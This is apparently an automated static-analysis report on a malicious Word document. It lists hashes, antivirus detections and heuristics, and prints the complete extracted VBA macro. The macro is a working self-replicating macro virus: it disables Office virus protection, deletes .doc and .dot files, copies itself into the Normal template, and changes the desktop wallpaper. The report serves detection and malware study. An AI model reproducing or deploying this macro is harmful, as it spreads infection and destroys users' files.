Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7894111bf746b5e4…

MALICIOUS

Office (OLE)

2.82 MB Created: 2014-01-15 10:22:00 Authoring application: Microsoft Office Word First seen: 2014-10-17
MD5: 1b9f73348a947c63adb0703803986f4a SHA-1: aafdb9351a909af5d9ad67e7401d352806ddfe56 SHA-256: 7894111bf746b5e4050a504f4b266f18a170afec303f924faac9d53de1b6d2e9
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The macros are designed to disable macro virus protection and attempt self-replication by writing VBA project code. The 'Document_Open' macro is present, indicating an attempt to execute malicious code upon opening the document. The presence of ClamAV detections further confirms its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-35 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-35
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14267 bytes
SHA-256: b0362bb13c4165e29e7a35d3fbe373f73669b7544c0144429c2408fd974eeef7
Detection
ClamAV: Doc.Trojan.Marker-13
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


'Seline, Where are you dear
Const Marker = "<- this is a marker! by jonhehehe TheBest-versi212x"
Private Sub Document_Open()
Document_Close
End Sub
Private Sub Document_Close()
Dim nmod As Object
Dim isd As String
Dim DS, NTS, DI, NTI As Boolean
Dim Jon, Users, LogData, LogFile As String
On Error Resume Next
AddIns.Unload True
Kill Options.DefaultFilePath(8) & "\*.doc"
Kill Options.DefaultFilePath(8) & "\*.dot"
Options.VirusProtection = False
Application.UserName = "JonMMx 2000"
Application.UserInitials = "MeMeX"
Application.UserAddress = "JonMMx2000@yahoo.com"
Application.EnableCancelKey = wdCancelDisabled
GoSub InsertIon
If (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", _
   "LogData in") = False) Then GoSub LoggingIn
If Weekday(Now()) = 1 Then GoSub ShowMe
GoTo Finish
InsertIon:
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DI = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NTI = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
If (DI Xor NTI) And (ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate) Then
 If DI Then
   NTS = NormalTemplate.Saved
   Jon = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
   For i = 1 To Len(Application.UserAddress)
    If (Mid(Application.UserAddress, i, 1) <> Chr(13)) Then
       If (Mid(Application.UserAddress, i, 1) <> Chr(10)) Then
          Users = Users & Mid(Application.UserAddress, i, 1)
       End If
    Else
       Users = Users & Chr(13) & " '"
    End If
   Next
   Jon = Jon & Chr(13) & _
         "' " & Format(Time, "hh:mm:sc AMPM-") & _
                Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
         "' " & Application.UserName & Chr(13) & _
         "' " & Users & Chr(13) & Chr(13) & " "
   nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
   nt.CodeModule.AddFromString Jon
   If NTS Then NormalTemplate.Save
 End If
 If NTI Then
    DS = ActiveDocument.Saved
    Jon = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString Jon
    If DS Then ActiveDocument.Save
 End If
End If
Return
LoggingIn:
   System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogData in") = True
   GoSub ShowMe
Return
ShowMe:
Dim RootsyS As String
On Error Resume Next
 RootsyS = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "SystemRoot")
 Open RootsyS & "\Jon.html" For Output As #1
 Print #1, "<Html><head><title>Welcome to Destroyer of the last Manillenium JontheBEST</title></head><Body><body bgcolor = '#FFF212' >"
 Print #1, "<center><p align='center'><font color='#800000'size='25'><strong>a Poet For My Dear Love</strong></font></p>"
 Print #1, "<p align='center'><font color='#000000' size='6'><strong><a href='mailto:iamwaiting@yahoo.com'>Dear Iin</a></strong></font> </p>"
 Print #1, "<font normal></center>To the very best that happen in mylife<p>"
 Print #1, "<p>Long ago and in my mind, I can see your face lonely and lost in time "
 Print #1, "<p>You were gone since yester month But the memories, never would dissapear"
 Print #1, "<p>I think of you, I THINK OF YOU.<p>"
 Print #1, "<p>Yes it's true I can pretend. But the paint of blue, keep beat me till the end."
 Print #1, "<p>Yes it's hard to understand. Why you leaving me and all we dreaming on "
 Print #1, "<p>Dear Iin, I close my eyes and see your face.  That's all I have to do to be with you. "
 Print #1, "<p>Dear Iin, altough I can not touch your face.  I know what I can do to be with you "
 Print #1, "<p>Long ago so faraway. But the light of blue, still living with me today."
 Print #1, "<p>You were gone since yester month.  But the memories never would dissapear."
 Print #1, "<center><font color='#245505' size='6'><strong><p>Speed Hari</strong></font></center></Body></html>"
 Close #1
 System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\General", "Wallpaper") = RootsyS & "\Jon.html"
Return
Finish:
End Sub
'Logfile -->

' 06:14:2518:14:25 -Kamis, 22 Jul 1999
' JonMMx 2000
' jonthebest@hotbot.com


' 09:07:259:07:25 -Sabtu, 24 Jun 2017
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:13:3712:13:37 AM AM-Saturday, 14 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:55:459:55:45 AM AM-Wednesday, 25 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:03:2112:03:21 PM PM-Friday, 27 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:47:402:47:40 PM PM-Sunday, 29 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:37:562:37:56 AM AM-Monday, 30 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:29:4310:29:43 PM PM-Wednesday, 1 Sep 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:28:249:28:24 AM AM-Sunday, 5 Sep 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:17:912:17:09 PM PM-Monday, 13 Sep 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:48:159:48:15 AM AM-Sunday, 26 Sep 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:34:5808:34:58 -Wednesday, 6 Oct 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:09:535:09:53 PM PM-Monday, 18 Oct 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:55:3110:55:31 AM AM-Wednesday, 20 Oct 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:57:5211:57:52 AM AM-Saturday, 6 Nov 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:51:302:51:03 PM PM-Monday, 29 Nov 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:24:1411:24:14 AM AM-Tuesday, 11 Jan 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:57:3103:57:31 PM PM-Thursday, 13 Jan 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:26:2203:26:22 下午 下午-Thursday, 17 Feb 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:55:178:55:17  AM-Tuesday, 21 Mar 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:15:509:15:50 AM-Thursday, 30 Mar 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:43:1910:43:19  AM-Monday, 22 May 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:36:388:36:38  AM-Wednesday, 31 May 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:33:210:33:02  AM-Saturday, 17 Jun 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:45:4612:45:46  PM-Wednesday, 26 Jul 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:12:4714:12:47 PM-Tuesday, 26 Sep 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:07:2715:07:27  PM-Tuesday, 14 Nov 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 07:04:3319:04:33  PM-Thursday, 16 Nov 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 06:29:1818:29:18  PM-Wednesday, 22 Nov 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:26:2310:26:23  AM-Saturday, 25 Nov 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 07:08:527:08:52  AM-Sunday, 26 Nov 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:15:508:15:50  AM-Friday, 22 Dec 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:50:158:50:15  AM-Wednesday, 7 Feb 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:36:59:36:05  AM-Thursday, 8 Feb 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:35:3403:35:34 下午 下午-Saturday, 24 Feb 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:43:1212:43:12 下午 下午-Saturday, 17 Mar 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:40:5910:40:59 上午 上午-Wednesday, 18 Apr 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:51:5702:51:57 下午 下午-Friday, 20 Apr 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 01:30:5801:30:58 下午 下午-Tuesday, 22 May 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:18:5812:18:58 下午 下午-Saturday, 16 Jun 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:16:722:16:07 下午-Sunday, 27 Feb 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:02:1515:02:15 下午-Wednesday, 9 Mar 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:54:2517:54:25 下午-Thursday, 17 Mar 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:37:1015:37:10 下午-Tuesday, 29 Mar 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:53:5917:53:59 下午-Thursday, 14 Apr 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:21:3214:21:32 下午-Friday, 13 May 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:49:529:49:52 上午-Tuesday, 28 Jun 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:48:158:48:15 上午-Friday, 15 Jul 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:22:2811:22:28 上午-Tuesday, 20 Sep 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:20:3420:20:34 下午-Thursday, 13 Oct 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:06:317:06:03 下午-Wednesday, 19 Oct 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:53:2209:53:22 上午-Tuesday, 6 Dec 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:44:5611:44:56 上午-Tuesday, 6 Dec 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 04:34:5916:34:59 下午-Tuesday, 6 Dec 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:41:1710:41:17 上午-Wednesday, 8 Aug 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:41:5111:41:51 上午-Thursday, 9 Aug 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:16:4317:16:43 PM-Friday, 10 Aug 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 07:12:1719:12:17 下午-Tuesday, 14 Aug 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:12:39:12:03 AM-Monday, 3 Sep 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:04:5815:04:58 下午-Tuesday, 4 Sep 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:17:4617:17:46 下午-Thursday, 13 Sep 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 01:56:5813:56:58 PM-Friday, 14 Sep 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:44:1012:44:10 下午-Thursday, 20 Sep 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:44:008:44:00 上午-Monday, 24 Sep 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:42:129:42:12 上午-Tuesday, 9 Oct 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:06:3611:06:36 上午-Tuesday, 9 Oct 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:48:5411:48:54 上午-Thursday, 1 Nov 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:21:35下午 15:21:35 下午-Tuesday, 6 Nov 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:31:28上午 08:31:28 上午-Monday, 12 Nov 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:41:36下午 15:41:36 下午-Monday, 12 Nov 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:16:25下午 14:16:25 下午-Tuesday, 13 Nov 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:02:8上午 10:02:08 上午-Tuesday, 20 Nov 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 01:48:1913:48:19 下午-Tuesday, 4 Dec 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:28:4717:28:47 下午-Friday, 4 Jan 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:15:017:15:00 PM-Wednesday, 30 Jan 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:02:248:02:24 AM-Sunday, 3 Feb 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:35:414:35:04 下午-Tuesday, 19 Feb 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:10:3117:10:31 下午-Wednesday, 20 Feb 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:18:78:18:07 上午-Friday, 22 Feb 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:14:28:14:02 上午-Tuesday, 26 Feb 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 01:37:2313:37:23 下午-Tuesday, 26 Feb 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:41:209:41:20 上午-Thursday, 7 Mar 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:25:5615:25:56 下午-Thursday, 21 Mar 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:35:89:35:08 上午-Friday, 29 Mar 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:35:4610:35:46 上午-Tuesday, 2 Apr 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:41:4910:41:49 上午-Tuesday, 2 Apr 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:55:2415:55:24 下午-Tuesday, 16 Apr 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:38:578:38:57 上午-Monday, 27 May 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:10:178:10:17 上午-Thursday, 4 Jul 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:22:2315:22:23 下午-Wednesday, 24 Jul 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:01:2409:01:24 上午-Friday, 26 Jul 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:49:4108:49:41 上午-Friday, 2 Aug 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:28:5711:28:57 上午-Saturday, 3 Aug 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:22:5711:22:57 上午-Saturday, 10 Aug 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:53:4710:53:47 上午-Tuesday, 27 Aug 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:36:08:36:00 上午-Tuesday, 22 Oct 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:41:4014:41:40 PM-Monday, 6 Jan 2014
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:42:329:42:32 上午-Friday, 17 Jan 2014
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 01:03:5913:03:59 下午-Friday, 17 Jan 2014
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:04:1114:04:11 下午-Wednesday, 20 Aug 2014
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 07:51:137:51:13 上午-Saturday, 23 Aug 2014
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:40:715:40:07 下午-Tuesday, 30 Sep 2014
' JonMMx 2000
' JonMMx2000@yahoo.com
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1474789693/Ole10Native 1309892 bytes
SHA-256: 808cb8fb8da025c422dc8fde9d8b1e8a4d6681cc3ab9112d7becad957356ec08

Open this report in the interactive analyzer, or submit your own file for analysis.